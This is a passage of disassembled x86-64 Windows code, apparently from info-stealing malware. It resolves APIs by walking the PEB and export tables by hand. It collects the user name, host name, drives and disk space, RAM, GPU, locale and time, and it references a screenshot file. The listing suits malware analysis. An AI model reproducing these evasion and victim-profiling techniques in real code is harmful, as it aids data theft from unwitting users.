cmp dword [rax + r11], 0x4550
jne 0x140018e22
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018e22
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140018e0f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018e03
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140018dfe
cmp byte [rcx], al
jne 0x140018e03
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018dd4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140018e2a
test r8b, r8b
jne 0x140018deb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018dc0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018e27
mov r14d, 0x5a4d
jmp 0x140018d60
mov rax, rbx
jmp 0x140018e30
mov rax, rbx
mov r14d, 0x5a4d
mov rdx, qword [rbp - 0x58]
xor ecx, ecx
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.screenshot.bmp
lea rcx, [rbp + 0x15c0]
call fcn.1400212e0
nop
mov rcx, rax
call fcn.14001df40
mov dword [rsp + 0x20], 3
mov r9d, dword [rsp + 0x68]
mov r8, r12
mov rdx, rax
mov rcx, qword [rbp - 0x28]
call fcn.1401276d0
nop
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x1810]
call fcn.1400236d0
lea rcx, [rbp + 0x1810]
call fcn.14001e880
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.User_name:
lea rcx, [rbp + 0xa40]
call fcn.140021400
nop
mov rcx, rax
call fcn.14001de30
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140018ec0
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.USERNAME
lea rcx, [rbp + 0xa80]
call fcn.1400214f0
nop
mov rcx, rax
call fcn.14001da10
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.14001e6f0
mov r12, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x1cf0]
call fcn.14012e2b0
mov rcx, r12
call fcn.14001ec10
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0xf80]
call fcn.14001fde0
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140019047
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001902f
cmp word [r11], r14w
jne 0x140019042
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140019042
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140019042
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001902f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019023
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001901e
cmp byte [rcx], al
jne 0x140019023
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018ff4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001904a
test r8b, r8b
jne 0x14001900b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018fe0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140019047
mov r14d, 0x5a4d
jmp 0x140018f80
mov rax, rbx
jmp 0x140019050
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x1cf0]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x1400190b3
lea rcx, [rbp + 0x1cf0]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140019080
cmp byte [rbp + rax + 0x1cef], 0x5c
jne 0x1400190aa
dec rax
cmp rax, 0x104
jae 0x14001b106
mov byte [rbp + rax + 0x1cf0], 0
lea rdx, [rbp + 0x1cf0]
jmp 0x1400190ba
lea rdx, [0x14015febb]
lea rcx, [rbp + 0x1c8]
call fcn.14001e6f0
nop
mov rcx, r12
call fcn.14001e820
nop
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x1c8]
call fcn.14001e820
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.Host_name:
lea rcx, [rbp + 0xac0]
call fcn.1400215e0
nop
mov rcx, rax
call fcn.14001de30
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019120
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.USERDOMAIN
lea rcx, [rbp + 0xb00]
call fcn.1400216d0
nop
mov rcx, rax
call fcn.14001dd20
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14001e6f0
mov r12, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x1e00]
call fcn.14012e2b0
mov rcx, r12
call fcn.14001ec10
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x1110]
call fcn.14001fde0
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400192a7
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001928f
cmp word [r11], r14w
jne 0x1400192a2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400192a2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400192a2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001928f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019283
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001927e
cmp byte [rcx], al
jne 0x140019283
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019254
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400192aa
test r8b, r8b
jne 0x14001926b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019240
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400192a7
mov r14d, 0x5a4d
jmp 0x1400191e0
mov rax, rbx
jmp 0x1400192b0
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x1e00]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x140019313
lea rcx, [rbp + 0x1e00]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400192e0
cmp byte [rbp + rax + 0x1dff], 0x5c
jne 0x14001930a
dec rax
cmp rax, 0x104
jae 0x14001b10c
mov byte [rbp + rax + 0x1e00], 0
lea rdx, [rbp + 0x1e00]
jmp 0x14001931a
lea rdx, [0x14015febb]
lea rcx, [rbp + 0x130]
call fcn.14001e6f0
nop
mov rcx, r12
call fcn.14001e820
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x130]
call fcn.14001e820
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nDrives:
lea rcx, [rbp + 0x670]
call fcn.1400217c0
nop
mov rcx, rax
call fcn.14001da10
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019380
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetLogicalDrives
lea rcx, [rbp + 0x7f0]
call fcn.1400218b0
nop
mov rcx, rax
call fcn.14001d480
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400194a0
nop
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001948d
cmp word [r11], r14w
jne 0x1400194a0
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400194a0
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400194a0
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001948d
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019481
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001947c
cmp byte [rcx], al
jne 0x140019481
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019454
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x1400194a3
test r8b, r8b
jne 0x14001946b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019440
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400194a0
mov r14d, 0x5a4d
jmp 0x1400193e0
mov rax, rbx
call rax
mov r13d, eax
mov dword [rsp + 0x64], eax
movzx r8d, byte [rsp + 0x60]
test eax, eax
jne 0x1400194ff
lea rdx, str.unable_to_resolve_n
lea rcx, [rbp + 0x7a0]
call fcn.1400219a0
nop
mov rcx, rax
call fcn.14001dbf0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400194e0
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
jmp 0x1400198e2
lea rdx, [0x1401601bc]
lea rcx, [rbp + 0x7a0]
call fcn.140021a90
nop
mov rcx, rax
call fcn.14001db10
mov rdx, rax
lea rcx, [rbp + 0x1850]
call fcn.14001e6f0
nop
movzx edi, byte [rsp + 0x60]
movzx ebx, byte [rsp + 0x60]
movzx r14d, byte [rsp + 0x60]
movzx r15d, byte [rsp + 0x60]
movzx esi, byte [rsp + 0x60]
movzx r12d, byte [rsp + 0x60]
movsd xmm6, qword [0x140174558]
test r13b, 1
je 0x1400198af
lea rcx, [rbp + 0x1850]
call fcn.14001ec10
mov qword [rbp - 0x68], rax
movzx r8d, dil
lea rdx, str.GetDiskFreeSpaceExA
lea rcx, [rbp + 0x7f0]
call fcn.140021b70
nop
mov rcx, rax
call fcn.14001d7f0
mov qword [rbp - 0x48], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x14001968f
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x78], rdx
test r10, r10
je 0x1400195a6
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x14001968f
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x14001968f
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x14001968f
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x60], rcx
mov r13d, dword [rax + 0x20]
add r13, r10
mov ecx, dword [rax + 0x24]
add rcx, r10
mov qword [rbp - 0x50], rcx
xor ecx, ecx
mov r11d, ecx
mov r9d, ecx
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x70], eax
test eax, eax
je 0x1400195a6
nop dword [rax]
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [r13 + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x140019679
mov rdx, qword [rbp - 0x48]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140019674
cmp byte [rcx], al
jne 0x140019679
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019647
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x60]
mov r11d, dword [rcx + rax*4]
add r11, r10
jmp 0x140019692
test r8b, r8b
jne 0x14001965e
inc r11d
inc r9
cmp r11d, dword [rsp + 0x70]
jb 0x140019630
mov rdx, qword [rbp - 0x78]
jmp 0x1400195a6
xor r11d, r11d
lea r9, [rbp + 0x18a0]
lea r8, [rbp + 0x17c8]
lea rdx, [rbp + 0x17c0]
mov rcx, qword [rbp - 0x68]
call r11
nop
test eax, eax
je 0x1400198aa
movzx r8d, bl
lea rdx, str._Drive:
lea rcx, [rbp + 0x670]
call fcn.140021c60
nop
mov rcx, rax
call fcn.14001da10
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400196e1
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
lea rdx, [rbp + 0x1850]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
movzx r8d, r14b
lea rdx, str.__Total_Space:
lea rcx, [rbp + 0x670]
call fcn.140021d50
nop
mov rcx, rax
call fcn.14001d920
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140019731
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
mov rcx, qword [rbp + 0x17c8]
xorps xmm1, xmm1
test rcx, rcx
js 0x140019761
cvtsi2sd xmm1, rcx
jmp 0x140019776
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, xmm6
lea rcx, [rbp + 0x50]
call fcn.140015390
nop
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x50]
call fcn.14001e820
movzx r8d, r15b
lea rdx, [0x1401601f8]
lea rcx, [rbp + 0x710]
call fcn.140021e50
nop
mov rcx, rax
call fcn.14001caf0
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400197c0
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, sil
lea rdx, str.___Free_Space:
lea rcx, [rbp + 0x670]
call fcn.140021f40
nop
mov rcx, rax
call fcn.14001d920
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019800
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
mov rcx, qword [rbp + 0x17c0]
xorps xmm1, xmm1
test rcx, rcx
js 0x140019830
cvtsi2sd xmm1, rcx
jmp 0x140019845
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, xmm6
lea rcx, [rbp + 0x50]
call fcn.140015390
nop
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x50]
call fcn.14001e820
movzx r8d, r12b
lea rdx, [0x1401601f8]
lea rcx, [rbp + 0x710]
call fcn.140022040
nop
mov rcx, rax
call fcn.14001caf0
mov r8, r13
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140019890
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
mov r13d, dword [rsp + 0x64]
lea rax, [rbp + 0x1850]
cmp qword [rbp + 0x1868], 0x10
cmovae rax, qword [rbp + 0x1850]
inc byte [rax]
shr r13d, 1
mov dword [rsp + 0x64], r13d
jne 0x140019554
lea rcx, [rbp + 0x1850]
call fcn.14001e820
mov dword [rbp + 0x17d0], 0x40
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GlobalMemoryStatusEx
lea rcx, [rbp + 0x1160]
call fcn.140022130
nop
mov rcx, rax
call fcn.14001cf20
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140019a06
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400199ef
mov r14d, 0x5a4d
cmp word [r11], r14w
jne 0x1400199fe
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400199fe
mov ecx, dword [rax + r11 + 0x88]
xor r12d, r12d
test ecx, ecx
je 0x140019a01
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, r12d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400199f2
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400199e1
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400199dc
cmp byte [rcx], al
jne 0x1400199e1
mov r8b, 1
inc rcx
cmp byte [rcx], r12b
jne 0x1400199b4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x140019a0c
test r8b, r8b
jne 0x1400199cb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400199a0
jmp 0x1400199f2
xor r12d, r12d
cmp qword [rdi + 0x60], 0
je 0x140019a09
jmp 0x140019930
xor r12d, r12d
mov rax, r12
jmp 0x140019a12
xor r12d, r12d
mov rax, r12
mov r14d, 0x5a4d
lea rcx, [rbp + 0x17d0]
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x1401601f8]
lea rcx, [rbp + 0x920]
call fcn.140022310
nop
mov rcx, rax
call fcn.14001caf0
mov rbx, rax
mov rdx, qword [rbp + 0x17d8]
shr rdx, 0x1e
inc edx
lea rcx, [rbp + 0x400]
call fcn.14001ef10
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nRam:
lea rcx, [rbp + 0x878]
call fcn.140022220
nop
mov rcx, rax
call fcn.14001d6f0
lea r8, [rbp + 0x400]
mov rdx, rax
lea rcx, [rbp + 0x6f0]
call fcn.140020e40
nop
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140019aa0
mov rdx, rbx
mov rcx, rax
call fcn.14001eb90
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.14001e6c0
nop
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x3e0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x6f0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x400]
call fcn.14001e820
nop
mov dword [rbp + 0x1a30], 0x1a8
movzx r8d, byte [rsp + 0x60]
lea rdx, str.EnumDisplayDevicesA
lea rcx, [rbp + 0x11b0]
call fcn.140022400
nop
mov rcx, rax
call fcn.14001d7f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140019c14
nop
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140019bfd
cmp word [r11], r14w
jne 0x140019c0f
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140019c0f
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140019c0f
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, r12d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140019bfd
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019bf1
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140019bec
cmp byte [rcx], al
jne 0x140019bf1
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019bc4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x140019c17
test r8b, r8b
jne 0x140019bdb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019bb0
cmp qword [rdi + 0x60], 0
je 0x140019c14
mov r14d, 0x5a4d
jmp 0x140019b50
mov rax, r12
jmp 0x140019c1d
mov rax, r12
mov r14d, 0x5a4d
mov r9d, 1
lea r8, [rbp + 0x1a30]
xor edx, edx
xor ecx, ecx
call rax
nop
lea rdx, [rbp + 0x1a54]
lea rcx, [rbp + 0x570]
call fcn.14001e6f0
mov rbx, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nGPU:
lea rcx, [rbp + 0x8b0]
call fcn.1400224f0
nop
mov rcx, rax
call fcn.14001d6f0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x550]
call fcn.140020e40
nop
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x550]
call fcn.14001e820
nop
lea rcx, [rbp + 0x570]
call fcn.14001e820
mov ecx, 0xaa
call fcn.14012bbf0
mov r12, rax
mov ecx, 0x55
call fcn.14012bbf0
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetUserDefaultLocaleName
lea rcx, [rbp + 0x1610]
call fcn.1400225e0
nop
mov rcx, rax
call fcn.14001d5c0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140019dd3
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140019dbd
cmp word [r11], r14w
jne 0x140019dcf
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140019dcf
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140019dcf
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140019dbd
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019db1
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140019dac
cmp byte [rcx], al
jne 0x140019db1
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019d84
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x140019dd5
test r8b, r8b
jne 0x140019d9b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019d70
cmp qword [rdi + 0x60], 0
je 0x140019dd3
mov r14d, 0x5a4d
jmp 0x140019d10
xor eax, eax
jmp 0x140019ddb
xor eax, eax
mov r14d, 0x5a4d
mov edx, 0x55
mov rcx, r12
call rax
nop
mov r8d, 0x55
mov rdx, r12
mov rcx, r13
call fcn.140133c30
mov edx, 2
mov rcx, r12
call fcn.14012b910
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14016026c]
lea rcx, [rbp + 0x8e8]
call fcn.1400227c0
nop
mov rcx, rax
call fcn.14001d3a0
mov rdi, rax
mov rdx, r13
lea rcx, [rbp + 0x5b0]
call fcn.14001e6f0
mov rbx, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nSystem_locale:
lea rcx, [rbp + 0x1200]
call fcn.1400226d0
nop
mov rcx, rax
call fcn.14001d480
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x590]
call fcn.140020e40
nop
mov r12, 0xffffffffffffffff
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140019e80
mov rdx, rdi
mov rcx, rax
call fcn.14001eb90
mov rdx, rax
lea rcx, [rbp + 0x420]
call fcn.14001e6c0
nop
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x420]
call fcn.14001e820
nop
lea rcx, [rbp + 0x590]
call fcn.14001e820
nop
lea rcx, [rbp + 0x5b0]
call fcn.14001e820
nop
mov edx, 1
mov rcx, r13
call fcn.14012b910
movzx r8d, byte [rsp + 0x60]
lea rdx, str._r_nUTC_time:
lea rcx, [rbp + 0xb40]
call fcn.1400228a0
nop
mov rcx, rax
call fcn.14001ca00
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140019f12
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x140160298]
lea rcx, [rbp + 0xb80]
call fcn.140022990
nop
mov rcx, rax
call fcn.14001d2b0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a037
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001a01f
cmp word [r11], r14w
jne 0x14001a031
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001a031
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001a031
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001a01f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001a013
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001a00e
cmp byte [rcx], al
jne 0x14001a013
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019fe4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001a03b
test r8b, r8b
jne 0x140019ffb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019fd0
cmp qword [rdi + 0x60], 0
je 0x14001a037
mov r14d, 0x5a4d
jmp 0x140019f70
xor ebx, ebx
mov eax, ebx
jmp 0x14001a041
xor ebx, ebx
mov eax, ebx
mov r14d, 0x5a4d
lea rcx, [rbp + 0x1890]
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.TzSpecificLocalTimeToSystemTime
lea rcx, [rbp + 0x1660]
call fcn.140022a90
nop
mov rcx, rax
call fcn.14001d180
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a157
nop
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001a13f
cmp word [r11], r14w
jne 0x14001a152
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001a152
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001a152
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001a13f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001a133
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001a12e
cmp byte [rcx], al
jne 0x14001a133
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001a104
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001a15a
test r8b, r8b
jne 0x14001a11b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001a0f0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
